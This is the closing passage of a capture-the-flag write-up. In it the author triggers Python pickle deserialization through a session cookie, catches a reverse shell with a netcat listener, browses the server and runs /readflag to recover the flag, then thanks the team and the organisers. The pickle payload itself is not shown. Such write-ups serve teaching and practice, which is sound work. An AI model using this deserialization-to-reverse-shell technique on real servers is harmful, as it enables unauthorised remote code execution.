Now finally, if we navigate back to the website, and set our session cookie to the id we had set (e51fca6f-1148-450c-8961-b5d1aaaaaaaa), our pickled code is deserialized, sending a reverse shell to my computer. RCE gained! At this point, all I had to do was run the /readflag binary, and out popped the flag.

[email protected]:~$ nc -lvp 4242
Listening on 0.0.0.0 4242
Connection received on 23.98.68.11 34092
/app $ ls
ls
app.py         exts.py        gunicorn.conf  static         utils.py
config.py      forms.py       models.py      templates
/app $ cd /
cd /
/ $ ls
ls
app
bin
dev
etc
flag_728246ee4be43072f63a6d4bb5ddb6b0c705e8e6
home
lib
linuxrc
media
mnt
proc
readflag
root
run
sbin
srv
sys
tmp
usr
var
/ $ ./readflag
./readflag
*ctf{yeah_hhhhh_Ftp_Just_so_funny}

Flag get! This was a very difficult challenge that took our three people working on it an entire day, but I ended up learning a lot.

*ctf{yeah_hhhhh_Ftp_Just_so_funny}


This CTF was very difficult and I learned a lot. My teammates this year were super smart, and I wouldn’t have got any challenge without them. We ended up getting 31st, which I’m very happy with. Anyway, thank you Sixstars for hosting a great CTF, and thanks for reading.



comments powered by Disqus